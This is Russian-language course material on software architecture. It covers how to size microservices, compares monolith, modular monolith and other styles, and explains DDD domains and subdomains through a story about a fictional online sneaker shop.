Правильный ответ на вопрос «сколько строк в микросервисе» — это неправильный вопрос. Размер определяется границей, а не строками. Рабочие ориентиры:

Годные ориентиры

  • Один ограниченный контекст — сервис отвечает за одну связную часть предметной области с единым языком.
  • Одна команда владеет целиком — и способна выкатить фичу без чужих согласований.
  • Держится в голове одного человека — новичок понимает сервис за неделю.
  • Переписывается за пару недель — если сервис нельзя выбросить и переписать, он слишком большой.

Негодные ориентиры

  • Сервис на сущность — «сервис заказов», «сервис клиентов», «сервис адресов». Получается распределённая база данных: каждая операция трогает пять сервисов.
  • Число строк кода — 500 строк логики платежей и 500 строк CRUD — разные вещи.
  • Сервис на разработчика — прямая дорога к наносервисам и оргхаосу при первом же увольнении.
  • «Как у Netflix» — у них три тысячи инженеров и своя платформенная команда. Их ограничения не ваши.
Наносервис — сервис, накладные расходы на который (сеть, деплой, мониторинг, дежурство) превышают пользу от его отдельности. Признак: у сервиса одна ручка, он вызывается ровно из одного места и всегда выкатывается вместе с вызывающим. Такой сервис надо возвращать обратно в вызывающий — это нормальная операция, а не поражение.

баланс микросервисы честно

задание микросервис или его имитация

Решено 0 из 0.

Дальше → лобовое сравнение по двенадцати критериям — и тренажёр «выбери под ситуацию»

Это не два варианта, а линейка. Между «одна программа, одна база» и «сто сервисов» есть середина, и почти все живут именно там. Правильный вопрос не «монолит или микросервисы», а «что у нас болит и какой самый маленький шаг это вылечит».

напрямую чем один лучше другого: три пары

Не таблица на двенадцать строк, а три честных сравнения по два. Выберите пару.

подбор что нужно именно вам: пять вопросов

Ответьте про свой проект — получите вариант с обоснованием и первым шагом. Ответы можно менять, результат пересчитается.

шкала пять точек, а не две

Монолитграниц нет
→
Модульный монолитграницы есть, деплой один
→
Несколько сервисов5–15, крупные
→
Микросервисыдесятки, по контекстам
→
Функцииserverless, по событию
Движение по шкале стоит денег в обе стороны, но вправо — дороже. Разумная стратегия: стоять на месте, пока не заболит, и делать ровно один шаг вправо, когда заболело. Перепрыгивание через ступень («сразу микросервисы») — это оплата всех издержек авансом в надежде на выгоду, которая может не понадобиться. Шаги влево (схлопнуть три сервиса в один) — тоже нормальная практика, а не признание ошибки.

таблица двенадцать критериев вплотную

Нажмите на строку — раскроется объяснение, почему именно так, и что с этим делать. Столбцы: М — монолит, ММ — модульный монолит, МС — микросервисы.

Прочитайте таблицу ещё раз по столбцу «ММ». Модульный монолит выигрывает или сравнивается почти везде, кроме трёх строк: независимый релиз, независимое масштабирование и свобода технологий. Если ни одна из этих трёх для вас не критична — микросервисы вам не нужны, и никакие другие доводы этого не изменят.

интерактив выбери под ситуацию

Восемь ситуаций из жизни. Для каждой выберите точку на шкале. Разбор объясняет не только правильный ответ, но и почему остальные варианты проигрывают именно здесь.

Решено 0 из 0.

миграция симптом → минимальный шаг

Таблица «что болит — что делать». Обратите внимание: в большинстве строк ответ не «микросервисы». Самая частая ошибка — лечить организационную или инфраструктурную боль архитектурной операцией на открытом сердце.

Дальше → пятнадцать стилей архитектуры на одном магазине: слоистая, гексагональная, событийная, serverless и другие — и как их сочетать

Монолит и микросервисы — только два из пятнадцати. Стиль архитектуры отвечает на два вопроса. Как система поделена на части и как эти части общаются. Всё остальное из них вытекает. Нажимайте на стиль и смотрите, что у него под капотом.

главное правило в одну строку для каждого стиля

Если запомнить только это — уже хватит на большинство разговоров. Полный разбор каждого — ниже по разделу.

Берите этот стиль, если…Стиль
вы только начинаете и команда однаМодульный монолит
команд четыре и больше, и они мешают друг другу на релизахМикросервисы
надо связать два десятка уже существующих системSOA
на один факт должны реагировать несколько разных частейСобытийная
работа редкая и тяжёлая: раз в сутки, раз в часБессерверная
данные обрабатываются пачками, шаг за шагомКонвейер
нагрузка пиковая, база не держитПространственная
авария не должна задевать всех клиентов сразуЯчеистая
работать надо и без связи с центромКраевая
запрос свободный, правилами его не описатьС ИИ-агентом
правил много и они разные по странам или клиентамМикроядро
данных много, команд много, за качество никто не отвечаетСетка данных
над одним интерфейсом работает несколько командМикрофронтенды
логику надо проверять без базы и без сетиГексагональная
Заметьте: «слоёной» в списке нет. Это единственный стиль, который не решает никакой отдельной задачи — он просто получается сам собой, если ни о чём не договориться. Отсюда и его распространённость.

подбор выберите свою ситуацию — получите разбор

Так думают на практике: не «какой стиль лучше», а «у меня вот такая беда, что с ней делать». Нажмите на ситуацию, похожую на вашу.

разбор пятнадцать стилей на одном примере

Чтобы стили не путались, все пятнадцать разобраны на одной и той же компании — магазине кроссовок «Ботинок» из раздела про домены: подбирает размер по фото стопы, торгует, возит, ведёт склад.

Выберите стиль — получите рассказ, живую схему магазина в этом стиле и ход запроса по шагам. Коробки и стрелки можно нажимать.

главное стили не выбирают насмерть, их сочетают

Самая частая ошибка новичка: считать, что надо выбрать один стиль и жить с ним. На практике в одной системе их несколько, и это нормально.

Событийность: не альтернатива, а слой поверх

Событийный обмен бывает и внутри модульного монолита, и между микросервисами. Это способ общаться, а не способ делиться. Поэтому вопрос «монолит или события?» поставлен неверно.

Гексагональная: не альтернатива, а устройство внутри

Она про то, как устроен один сервис или модуль изнутри. Гексагональным может быть и монолит, и каждый микросервис по отдельности.

Реальная система в 2026 году выглядит так: модульный монолит или несколько сервисов, внутри каждого гексагональная структура. Между ними события. Тяжёлые пересчёты вынесены в бессерверные функции, а данные разложены по владельцам. Это не эклектика, а норма.

сравнение пятнадцать стилей по семи признакам

Прокрутите вбок, если не помещается. Главная колонка — «связанность». Она объясняет почти все остальные.

СтильКак поделеноКак общаютсяДанные ВыкатСвязанностьГде встретите

тренажёр подберите стиль под ситуацию

Решено 0 из 0.

Дальше → как понять, где у вашей системы швы: домены и поддомены

Хорошие границы берутся не из кода, а из бизнеса. Компания делает много разных дел, и они не равны по важности. Во что-то надо вкладывать лучших людей, а что-то дешевле купить готовым и не трогать. Разобраться, где что, — половина работы архитектора и первый шаг предметно-ориентированного проектирования (DDD). Весь раздел — одна история. Аналитик Олег впервые раскладывает бизнес «Ботинка» вместе с владелицей Верой. Путь от фразы «мы продаём кроссовки» до карты поддоменов и решений «строим сами, покупаем или отдаём подрядчику».

зачем это зачем раскладывать бизнес на домены

карта раздела одна история, четырнадцать глав

Главы 1–3 — первая встреча Олега с бизнесом и главное различение раздела: проблема против решения. Главы 4–5 — как искать поддомены и как подслушать будущие границы в словах людей. Главы 6–10 — типы поддоменов и деньги: куда вкладывать, что покупать, что бывает, если перепутать. Главы 11–13 — перенос на другой бизнес, путь от поддоменов к границам системы и документы аналитика. Дальше по книге — , и . Кнопка переносит к главе.

глава 1 · завязка «Мы продаём кроссовки. Что тут раскладывать?»

Олег работает в «Ботинке» полгода. Он писал постановки на отдельные доработки: скидка на вторую пару, новый перевозчик, бонусы. Каждый раз он видел маленький кусок бизнеса и ни разу — весь целиком.

В понедельник технический директор принёс новость: компания получила деньги на рост, можно нанять двенадцать разработчиков. «Куда их посадить? Если не решим сами, решит тот, кто громче попросит». Олегу дали два дня на встречи и задание: разложить бизнес «Ботинка» на части и сказать, куда вкладывать людей, а что купить готовым. Первая встреча — с владелицей, Верой.

ОлегВера, расскажите, чем занимается «Ботинок».
ВераМы продаём кроссовки. Через интернет. Что тут раскладывать?
ОлегА почему покупают у вас, а не на большом маркетплейсе? Там ведь дешевле.
ВераПотому что у нас размер подходит. Покупатель фотографирует стопу, мы советуем размер и модель. Возвратов у нас 4 %, у всех — около 30 %.
ОлегА что в бизнесе для вас самое скучное?
ВераБухгалтерия. И вход в личный кабинет: мы его трижды переделывали, а покупателям всё равно.
Олег(записывает) Главное — подбор размера. Скучное — бухгалтерия и вход. Уже три куска, и ценность у них разная.

За пять минут Олег услышал то, ради чего обычно и делают такой разбор: бизнес неоднороден. В нём есть то, ради чего к компании приходят, и то, что просто должно работать. Дальше — слова, без которых разговор не получится.

Домен (domain), или предметная область, — то, чем компания занимается в жизни. Не её программы, а её дело. Домен существует, даже если в компании нет ни одного компьютера.
у пекарни домен — выпечка и продажа хлеба, у страховой — страхование. Пекарня сто лет назад и пекарня сегодня работают в одном и том же домене, хотя программы у них совсем разные: у первой их нет вовсе.
Домен компании «Ботинок»: продажа кроссовок через интернет. Одна фраза — и это весь домен. Отличие «Ботинка» от остальных — подбор размера по фотографии стопы. Поэтому возвратов у них 4 % вместо обычных 30 %. Ради этого к ним и приходят.
Эксперт предметной области (domain expert) — человек, который знает, как дело устроено на самом деле, со всеми исключениями и обходными путями. В «Ботинке» это кладовщик Семён, бухгалтер Нина, Лида из поддержки, маркетолог Кира и сама Вера. Эксперт — не обязательно начальник.
старшая медсестра отделения знает, где что лежит, кто когда дежурит и почему капельницы ставят именно так. Главврач знает, как отделение устроено «по приказу». Чтобы понять, как оно работает, спрашивают медсестру.
DDD (Domain-Driven Design, предметно-ориентированное проектирование) — подход, в котором программу строят по устройству бизнеса: её части, слова и правила повторяют части, слова и правила дела. Подход описал Эрик Эванс (Eric Evans) в книге «Domain-Driven Design: Tackling Complexity in the Heart of Software» 2003 года.
костюм шьют по фигуре заказчика, а не подгоняют заказчика под готовый размер. Сначала снимают мерки — потом кроят.
Стратегическое DDD (strategic design) — крупные решения: на какие части делится бизнес, какие из них главные, где пройдут границы моделей и как части будут связаны. Это этот раздел и три следующих: «Event Storming», «Ограниченные контексты», «Карта контекстов».
Тактическое DDD (tactical design) — как устроить код внутри одной части: агрегаты, сущности, объекты-значения, доменные события. Его разбирают уровень дизайна в и раздел .
стратегия — решить, какие комнаты будут в доме и где пройдут несущие стены. Тактика — как расставить мебель в одной комнате. Начинают со стен: диван легко передвинуть, несущую стену — нет.
Проще говоря. DDD начинается не с кода, а с разговора. Сначала понять, чем занят бизнес и что в нём главное. Потом решать, какой будет система. Этот раздел — про первое.

Что Олег должен принести через два дня

«Разобраться в бизнесе» — не задание: его нельзя проверить. Поэтому Олег сразу записал, какие документы он сдаст и как их примут. Ровно эти пять результатов мы и соберём к главе 13.

ЗАДАНИЕ НА РАЗБОР ДОМЕНА «БОТИНКА»

Р-1  Список поддоменов. Каждый назван словами бизнеса,
     у каждого есть хозяин из бизнеса.
Р-2  Тип каждого поддомена: основной, поддерживающий или
     общий — с обоснованием в одну-две фразы.
Р-3  Решение по каждому: строим сами сильной командой /
     строим просто / покупаем готовое / отдаём подрядчику.
Р-4  Словарь спорных слов: что каждое значит в каждом отделе.
Р-5  Первые кандидаты в границы системы — вход для
     Event Storming и нарезки на части.

Как принимаем: Вера и технический директор подписываются
под типами и решениями. Распределение 12 новых
разработчиков следует из таблицы, а не из того,
кто громче попросил.
Когда такой разбор не нужен. Один продукт с одной функцией и командой из трёх человек — всё и так помещается в одной голове. Компания ещё ищет, на чём зарабатывать: карта устареет через месяц, рисуйте её на салфетке, а не в документе. Задача чисто техническая: «обновить версию базы» не требует знать, где основной поддомен.

глава 2 · главное различение два пространства: что болит у бизнеса и чем мы это лечим

После встречи с Верой Олег зашёл к Борису. Тот выслушал и сразу начал рисовать: «Понятно. Сервис подбора на Python, сервис заказов, сервис авторизации, общая база…» Олег остановил его: «Подожди. Я ещё не понял, что у них болит, а ты уже выписываешь лекарства». Так в разговоре появились два пространства, которые путают чаще всего.

Проблемное пространство (problem space) — всё, что относится к бизнесу самому по себе: домен, его поддомены, задачи, правила, люди и их слова. Оно существует без компьютеров. Вопросы здесь — «что» и «зачем».
Пространство решений (solution space) — то, как мы эти задачи решаем: модели, ограниченные контексты, модули, сервисы, базы, купленные продукты, подрядчики. Вопрос здесь — «как».
Ограниченный контекст (bounded context) — часть системы, внутри которой каждое слово значит ровно одно. У контекста своя модель, свои данные и одна команда-владелец. Это единица пространства решений. Подробно — в разделе .
приём у врача. Жалобы, анализы и диагноз — это проблемное пространство: колено болит независимо от того, что назначит врач. План лечения — пространство решений: таблетки, операция или гимнастика. Один диагноз допускает несколько планов. Плохой врач начинает со слов «давайте прооперируем», не дослушав пациента.

Как одно соотносится с другим

Слева — то, что Олег находит в бизнесе. Справа — то, что команда проектирует в ответ. Стрелка — «на это мы отвечаем этим».

проблемное пространство · находим
пространство решений · проектируем
Доменпродажа кроссовок через интернет
→
Вся система «Ботинка»или несколько систем и купленных продуктов
Поддомен«подбор размера по фото»
→
Один или несколько ограниченных контекстовили купленный продукт за переводчиком
Тип поддоменаосновной, поддерживающий, общий
→
Стратегиястроим сильной командой / строим просто / покупаем
Эксперт и его словаСемён говорит «сборочное задание»
→
Модель контекстакласс, таблица, поле API называются так же
Хозяин поддомена в бизнесесклад отвечает Семён
→
Команда-владелец контекстаодна команда на контекст
Правило бизнеса«резерв держим 15 минут»
→
Инвариант или политика в кодепроверка в транзакции или реакция на событие
Проще говоря. Поддомены — это карта болезней бизнеса, контексты — план лечения. Карту болезней не выбирают: её обнаруживают, расспрашивая и наблюдая. План лечения выбирают: с учётом денег, людей и сроков.

Почему это различение — основа нарезки

1. Поддомены находят, контексты проектируют

Влад Хононов в книге «Learning Domain-Driven Design» (2021) формулирует коротко: поддомены обнаруживают, а ограниченные контексты проектируют. Поддомен «Склад» есть в «Ботинке», нравится нам это или нет. А будет ли Склад отдельным сервисом, модулем или купленной программой — наше решение.

2. Сначала проблема, потом решение

Нарезка системы — это ответ на устройство бизнеса. Если начать с решения («у нас будет восемь микросервисов»), границы пройдут по случайным местам: по таблицам, по слоям, по тому, кто что уже написал. Это две неудачные попытки из раздела .

3. Связь не всегда один к одному

Чаще всего поддомен ложится на один контекст. Но бывает, что один поддомен даёт два контекста (разные языки внутри), или два маленьких поддомена живут в одном (одна команда, один язык). Об этом глава 12.

4. Тип поддомена решает, как тщательно резать

Вокруг основного поддомена границу проводят аккуратно и строят в ней свою богатую модель. Общий поддомен обычно вообще не наш контекст: это купленный продукт, а наша часть — тонкий переводчик к нему.

Типичная ошибка — смешать пространства. В «список поддоменов» попадают «Сервис авторизации на Spring», «База заказов», «Шина Kafka». Это решения, а не части бизнеса. Обратная ошибка — объявить контекстом отдел: «контекст "Маркетинг"». Отдел — часть организации, а не модель с одним смыслом слов.

Тренажёр: что это — проблема или решение?

Фразы, которые Олег записал за первый день. Одни говорят о бизнесе, другие — о том, как его обслуживает система. Разложите.

Разложено 0 из 0.

глава 3 · первый список от «продаём кроссовки» к одиннадцати поддоменам

Домен целиком слишком большой, чтобы с ним что-то делать: про «продажу кроссовок» нельзя сказать, важна она или нет, купить её или писать самим. Его режут на поддомены. Остаток первого дня Олег провёл у людей: у Семёна на складе, у Лиды в поддержке, у Киры в маркетинге, у Нины в бухгалтерии и у Бориса в разработке.

Поддомен (subdomain) — часть домена: отдельная область деятельности со своими задачами, своими экспертами и часто своими словами. Поддомен можно объяснить человеку, который не знает, что такое база данных.
больница делится на хирургию, терапию, регистратуру и бухгалтерию. У каждой части свои специалисты, свои правила и свои слова: в хирургии «операционная», в регистратуре «талон». Пациенту не нужно знать, как это устроено, но больница без этого деления не работает.

Шесть вопросов, которые Олег задавал всем

Олег не спрашивал «какие у вас программы» и «какие таблицы». Он спрашивал про работу. Каждый вопрос выясняет своё.

ВопросЧто выясняетЧто ответили в «Ботинке»
«Что вы делаете за день? С чего начинается и чем заканчивается ваша работа?»Сам поддомен и его границы во времениСемён: «Утром приёмка поставок, днём сборка заказов, вечером передаю посылки курьерам».
«Кто вам что приносит и кому вы что отдаёте?»Передачи между поддоменами — будущие швыЛида: «Покупатель пишет мне про возврат, я оформляю заявку, пару принимает Семён, деньги возвращает Нина».
«Какими словами вы это называете?»Язык — материал для словаря (глава 5)Семён: «Для меня заказ — это сборочное задание». Нина: «Для меня — реализация».
«Что у вас бывает сложного? Где ошибаются?»Сложность — одна из осей экономики (глава 7)Нина: «Налоги и чеки, правила меняются каждый год». Кира: «Каталог простой, сложно только с фото».
«Что будет, если вас неделю не будет?»Насколько поддомен обязателенКира про отзывы: «Ничего страшного, неделю проживём». Семён: «Магазин встанет».
«Почему покупатели выбирают нас, а не соседей?»Отличие от конкурентов — признак основного поддоменаВсе, кроме Бориса, ответили одно и то же: «из-за подбора размера». Борис сказал: «у нас быстрый сайт».
Последний вопрос стоит задавать всем, а не только владельцу. Если отделы называют разные причины, у компании нет общего понимания, чем она сильна. Это само по себе важная находка: её надо принести Вере, а не решать за неё.

Как Олег получил список — по шагам

Нажмите на шаг, чтобы раскрыть.

Что получилось к вечеру первого дня

Одиннадцать поддоменов. У каждого — короткое описание словами бизнеса и хозяин: человек, который отвечает за эту область и может принять по ней решение. Типы пока не проставлены — это глава 6.

Подбор размера по фотоПокупатель фотографирует стопу — получает размер и модель.хозяин: Вера
Каталог и поискКарточки, категории, фильтры, поиск.хозяин: Кира
Оформление заказаКорзина, адрес, способ доставки, подтверждение.хозяин: Кира
Приём оплатыСписать деньги, вернуть при возврате.хозяин: Нина
ДоставкаПередать курьерской службе, следить за статусом.хозяин: Семён
Склад и остаткиСколько пар какого размера, резерв, приёмка.хозяин: Семён
ВозвратыПринять заявку и пару, понять причину, вернуть деньги.хозяин: Лида и Семён ⚠
ОтзывыПокупатели пишут отзывы и ставят оценки.хозяин: Кира
РассылкиПисьма о скидках, брошенной корзине, статусе заказа.хозяин: Кира
БухгалтерияПроводки, налоги, отчётность.хозяин: Нина
Вход в личный кабинетРегистрация, вход, восстановление пароля.хозяин: в бизнесе нет, Борис ⚠
Главное, что стоит заметить. В этом списке нет ни одного слова про программы, базы и сервисы. Это описание бизнеса, а не системы. Код появится потом — и будет сделан под эти границы, а не наоборот.
Два значка ⚠ — не ошибки, а находки. У «Возвратов» два хозяина: заявку ведёт Лида, пару принимает Семён. Это намёк, что внутри может прятаться больше одного дела. У «Входа» хозяина в бизнесе нет вовсе: бизнесу важно лишь, чтобы входить было легко и безопасно. Так часто выглядит общий поддомен — к нему вернёмся в главе 6.

Сколько должно быть поддоменов

Нет волшебного числа

У небольшой компании на первом уровне обычно выходит от пяти до пятнадцати поддоменов. Если вышло три — вы описали отделы крупными мазками. Если сорок — вы описываете функции экранов.

Поддомены бывают вложенными

«Склад» при желании делится на приёмку, хранение и сборку. Дробить стоит, пока у куска один эксперт и один набор правил. Дальше дробление ничего не даёт.

Список живой

Бизнес растёт, и поддомены появляются. Весной «Ботинок» запустит бонусную программу — появится «Лояльность». Список v0.1 — это снимок на сегодня.

СПИСОК ПОДДОМЕНОВ «БОТИНКА», v0.1 (после первого дня)

№   Поддомен                 Хозяин      Что делает (словами бизнеса)
1   Подбор размера по фото   Вера        размер и модель по фото стопы
2   Каталог и поиск          Кира        показать товары и дать найти
3   Оформление заказа        Кира        превратить выбор в заказ
4   Приём оплаты             Нина        принять и вернуть деньги
5   Доставка                 Семён       довезти и показать, где посылка
6   Склад и остатки          Семён       хранить, резервировать, собирать
7   Возвраты                 Лида/Семён  принять пару, понять причину  ⚠
8   Отзывы                   Кира        собрать и показать мнения
9   Рассылки                 Кира        напомнить о себе и о заказе
10  Бухгалтерия              Нина        учёт, налоги, отчётность
11  Вход в личный кабинет    —           пустить покупателя в кабинет  ⚠

Открытые вопросы: кто хозяин возвратов? нужен ли входу хозяин?

глава 4 · поиск три способа искать поддомены: возможности, оргструктура, события

Вечером Олег показал список архитектору Марине. Та кивнула и сказала: «Список из интервью — хорошее начало, но интервью видит то, что люди сами о себе рассказывают. Проверь его ещё тремя способами. Каждый способ видит своё и слеп к чужому. Где все три сходятся — там надёжно».

Бизнес-возможность (business capability) — то, что компания умеет делать, неважно как, кем и на какой программе: «принимать оплату», «доставлять», «подбирать размер». Отвечает на вопрос «что», а не «как» и не «кто». Возможности раскладывают по уровням: сверху крупные («Продать»), под ними помельче («оформить заказ», «принять оплату»). Подробно о карте возможностей — в разделе .
оглавление поваренной книги: разделы «супы», «выпечка», «десерты», в них — рецепты. По оглавлению видно, что кухня умеет, ещё до того, как вы открыли хоть один рецепт. И оно не меняется, когда на кухню приходит новый повар.
Закон Конвея (Conway's law) — наблюдение Мела Конвея (Melvin Conway) 1968 года: организация, которая проектирует систему, получает систему, повторяющую структуру своих коммуникаций. Как люди разделены по отделам и кто с кем говорит — так и разделится система.
если четыре бригады строят дом, у дома почти наверняка окажется четыре плохо стыкующихся части — по одной на бригаду. Швы дома пройдут там, где бригады плохо договаривались.
Event Storming («штурм событиями») — воркшоп, на котором бизнес и разработка выкладывают на длинной стене события процесса в порядке времени: «Заказ оформлен», «Оплата получена». Метод придумал Альберто Брандолини (Alberto Brandolini). Поворотное событие (pivotal event) — событие, после которого меняются участники и язык; на нём часто проходит граница. Подробно — в разделе .

Проигрыватель: три способа на одной схеме

Выберите способ и идите по шагам. Сверху — то, из чего способ исходит: возможности, отделы или события. Снизу — одиннадцать поддоменов Олега и пунктирная «заготовка» для поддомена, которого в списке нет. Подсветка показывает, что способ нашёл на этом шаге и с какими оговорками.

источник
▼ что находим ▼
найден чистонайден с искажениемспрятан или потерянпунктир — пока не найден
Как читать схему. Верхний ряд — исходный материал способа. Подсвеченный чип — то, с чем работаем на этом шаге. Нижние плитки накапливаются от шага к шагу: зелёная — поддомен найден так, как его видит бизнес; жёлтая — найден, но искажён (разрезан между отделами, прилеплен не туда); красная — способ его спрятал. Подпись под плиткой — откуда он взялся в этом способе.
Что вы увидите. Возможности находят все одиннадцать поддоменов, но прячут главное за общими словами («Продать»). Оргструктура находит быстро и сразу даёт хозяев, но прячет подбор размера в «задачах ИТ» и режет возвраты между двумя отделами. События отлично показывают поток и швы между поддоменами, но не видят бухгалтерию, вход и рассылки: у них нет своих событий на стене. И все три способа нашли двенадцатый кандидат — поддержку покупателей.

Сравнение способов

СпособВидит хорошоСлеп кКогда брать первым
По бизнес-возможностямВесь охват бизнеса; устойчивые во времени части; язык бизнеса без привязки к людямПотоку и передачам между частями; к тому, какая часть главная — всё выглядит одинаково важнымБольшая компания, нужно быстро увидеть целиком; разговор с руководством
По оргструктуреХозяев и экспертов; как реально распределена работа сегодняЧастям, у которых нет отдела; искажениям прошлого — оргсхема повторяет старые решенияКак перекрёстная проверка; чтобы найти, кого звать на интервью
По событиямПотоку, передачам, языковым швам; спорным местам процессаФоновым частям без событий: учёт, вход, рассылки; к тому, чего нет в процессеСложный процесс с передачами между отделами; поиск границ для нарезки
Итог проверки Олега. Одиннадцать поддоменов подтвердились. Появился двенадцатый — «Поддержка покупателей»: его назвали все три способа, а в интервью Лида говорила о нём как о «части возвратов». Олег записал его в список v0.2. Хозяина возвратов решили обсудить с Верой (глава 6).

Все приёмы списком

Кроме трёх способов выше, есть ещё два приёма — для существующей системы и для проверки уже найденного. Нажмите, чтобы раскрыть.

глава 5 · язык живой словарь «Ботинка»: одно слово — разные смыслы

Все два дня Олег вёл тетрадь: каждое слово, которое люди произносили с особым значением, он выписывал вместе с тем, кто его сказал и что имел в виду. На второй день он заметил странное: одно и то же слово «заказ» Кира, Семён, Нина и Лида описывали четырьмя разными способами. И никто из них не ошибался.

Единый язык (ubiquitous language) — требование, чтобы одно слово внутри одной границы значило ровно одно, и чтобы этим словом одинаково пользовались бизнес, аналитик, разработчик и тестировщик. Не «словарь в вики», а буквально имена классов, таблиц, полей и ручек API.
врачи и медсёстры одной операционной говорят одними словами: «зажим», «тампон», «шить». Если хирург скажет «дай вон ту штуку», а сестра поймёт по-своему, цена ошибки — жизнь. Поэтому у бригады общий язык. А у бригады кардиологов он свой — и это нормально.
Глоссарий (glossary) — словарь терминов с определениями. В DDD глоссарий ведут по границам: у термина есть пометка, в какой части бизнеса он значит именно это.
Омоним — одно слово с разными смыслами («заказ» у склада и у бухгалтерии). Синоним — разные слова с одним смыслом («клиент» и «покупатель», если это один и тот же человек с одними данными). Омонимы подсказывают границы. Синонимы — нет: их просто сводят к одному слову.

Как выглядит нарушение

В коде Order. Продавец называет это «сделка», склад — «отгрузка», бухгалтерия — «реализация», поддержка — «заявка». На встрече все говорят «заказ» и имеют в виду разное, поэтому требование «отменить заказ» каждый понимает по-своему и реализует по-своему.

Как выглядит соблюдение

В контексте «Продажи» есть Заказ, в контексте «Склад» — СборочноеЗадание, в «Бухгалтерии» — Реализация. Это три разных класса в трёх разных модулях, связанные номером заказа. Каждый называется так, как его называет бизнес в этом отделе.

Живой словарь: разрешите конфликты

Сверху — шесть слов из тетради Олега. Красные — конфликт не разрешён. Выберите слово: увидите, что под ним понимают разные люди. Решите, что с ним делать. Ниже — карта «Ботинка»: каждое верное решение «разные смыслы» рисует языковой шов между частями, а у частей появляются их собственные слова. Неверное решение покажет, к чему оно приведёт, — и даст попробовать снова.

карта «Ботинка»: языковые швы
Как читать карту. Прямоугольники — части бизнеса «Ботинка» (поддомены и отдел поддержки). Под названием — слово, которым там называют спорное понятие после разрешения конфликта; зелёное — общий термин. Красный пунктир — языковой шов: по разные стороны одно слово значит разное. Подпись на шве — слово, которое его выдало. Чем больше слов выдают один шов, тем толще линия.
Что вы увидите. Швы собираются вокруг Продаж, Склада и Возвратов — там, где передаются заказ, пара и деньги. Синонимы и «договориться о правилах» швов не дают: это работа для глоссария, а не для границы. Сравните итоговую картину с двенадцатью контекстами в разделе : почти каждый шов там стал границей.
Практический приём. На встрече с бизнесом ловите момент, когда два человека спорят, а потом выясняется, что они об одном и том же под разными именами — или о разном под одним. Это не недоразумение, а обнаруженная граница контекста. Запишите оба слова: скорее всего, между ними и надо проводить черту.
Типичная ошибка — совещание «давайте договоримся, что такое заказ». Оно заканчивается либо определением на страницу, которое никого не устраивает, либо победой самого громкого отдела. Правильный итог — признать, что смыслов несколько, и дать каждому своё слово и свою модель. Подробнее о языковых границах — в разделе , глава 7.

глава 6 · типы три типа поддоменов: куда вкладывать деньги

Утром второго дня Олег вернулся к Вере со списком из двенадцати пунктов. «Отлично, — сказала она. — Двенадцать кусков. Сажаем по разработчику на каждый?» Олег ответил вопросом: «А все ли они одинаково важны?» Нет. И эта разница определяет, куда пойдут лучшие люди, а где хватит купить готовое.

Основной поддомен (core subdomain), его ещё называют ключевым, — то, ради чего к компании приходят. Её отличие от конкурентов. Здесь сложность, здесь деньги, здесь конкурентное преимущество.
Поддерживающий поддомен (supporting subdomain) — без него нельзя, но он компанию не отличает. Он специфичен для неё, поэтому готового решения нет или оно не ложится. Пишем сами — просто и без изысков.
Общий поддомен (generic subdomain), его ещё называют универсальным, — задача, одинаковая у всех и давно решённая рынком: вход в кабинет, рассылки, бухгалтерия, приём платежей. Покупаем готовое.
ресторан. Фирменные блюда шефа — основной поддомен: за ними и приходят. График смен официантов, придуманный под этот зал и этих людей, — поддерживающий: без него никак, но гость о нём не знает. Кассовый аппарат и бухгалтерия — общие: у ресторана, у пекарни и у автосервиса они одинаковые.
Про названия. В русских переводах встречаются оба варианта: core — «основной» или «ключевой», generic — «общий» или «универсальный». В тренажёре — «основной» и «общий», как в разделах «Как резать» и «Карта контекстов». Сами три типа описаны в книгах Эрика Эванса, Вона Вернона (Vaughn Vernon) и Влада Хононова. Эванс прямо советует ставить на основной домен самых сильных людей.

🏆 Основной (ключевой)

То, ради чего к вам приходят. Ваше отличие от конкурентов. Сюда — лучшие люди, своя разработка, эксперименты.

Проверка: если отдать это конкуренту, чем мы будем отличаться? Ничем — значит основной.

🔧 Поддерживающий

Без него нельзя, но он вас не отличает. Пишем сами, потому что готового под нашу специфику нет. Но пишем просто и скучно.

Проверка: нужно нам? да. Отличает нас? нет.

📦 Общий (универсальный)

У всех одинаковое. Покупаем готовое и не трогаем.

Проверка: это же есть у пекарни, у автосервиса и у стоматологии? Да — значит общий.

Три вопроса по порядку

Олег задавал их Вере про каждый поддомен. Порядок важен: первый вопрос отсекает основные, второй — общие, всё остальное — поддерживающее.

1Если отдать это конкуренту или сделать «как у всех», мы перестанем отличаться?Да → основной. Нет → вопрос 2.
2Есть готовое решение, которое подходит без переделки нашего бизнеса?Да → общий. Нет → вопрос 3.
3Значит, это наше, нужное, но не отличающее.→ поддерживающий: пишем сами, просто и дёшево.

Поддомены «Ботинка» по типам

Теперь разберём каждый поддомен «Ботинка». Нажмите — увидите, какой это тип и почему именно такой.

Решение по возвратам. Вера согласилась с Олегом: возвраты в «Ботинке» — основной поддомен, потому что каждый возврат — провал главного обещания и данные для улучшения подбора. Хозяином стала сама Вера вместе с командой подбора. Лида ведёт заявку, Семён принимает пару, но правила и анализ причин — у владельца основного поддомена.

Карта: три типа и что с каждым делать

ТипЧто этоКак узнатьЧто делаем
Основной
core
То, ради чего компания существует и чем отличается от конкурентов. Здесь сложность, здесь деньги, здесь конкурентное преимущество. Если это делать так же, как все, компания станет обычной. Бизнес не готов отдать это на сторону ни за какие деньги. Пишем сами, лучшими людьми. Здесь уместны DDD во всей строгости, богатая модель, тесты, вложения в чистоту. Здесь же чаще всего проходит граница отдельного сервиса.
Поддерживающий
supporting
Нужен для работы основного, но сам преимущества не даёт. Специфичен для компании, поэтому готового решения нет. Без него нельзя, но делать его лучше конкурентов бессмысленно — покупатель разницы не заметит. Пишем сами, но дёшево. Простая модель «создать — прочитать — изменить — удалить», минимум церемоний, можно отдать подрядчику или младшим разработчикам. Тратить сюда архитектурный бюджет — ошибка.
Общий
generic
Решённая задача, одинаковая для всех: аутентификация, рассылки, бухгалтерия, хранение файлов, биллинг. Есть десяток готовых продуктов, и все примерно одинаковы. Своя реализация ничем не будет лучше. Покупаем или берём готовое. Своя разработка здесь — прямой убыток. Задача архитектора — аккуратно изолировать чужой продукт слоем предотвращения порчи, чтобы его можно было заменить.
Самая дорогая ошибка в этой таблице — писать своё в общем поддомене. «Своя система аутентификации», «свой планировщик задач», «свой брокер сообщений». Это годы работы, которые не добавляют бизнесу ни рубля выручки, зато навсегда добавляют в команду обязанность это поддерживать. Зеркальная ошибка дешевле, но обиднее: покупать готовое в основном поддомене — то есть отдавать конкурентное преимущество вендору.
Ловушка «сложное = главное». Технически сложным часто оказывается общий поддомен: платежи, вход, бухгалтерия. Сложность притягивает инженеров — им интересно. Но тип определяется отличием для покупателя, а не интересностью задачи.

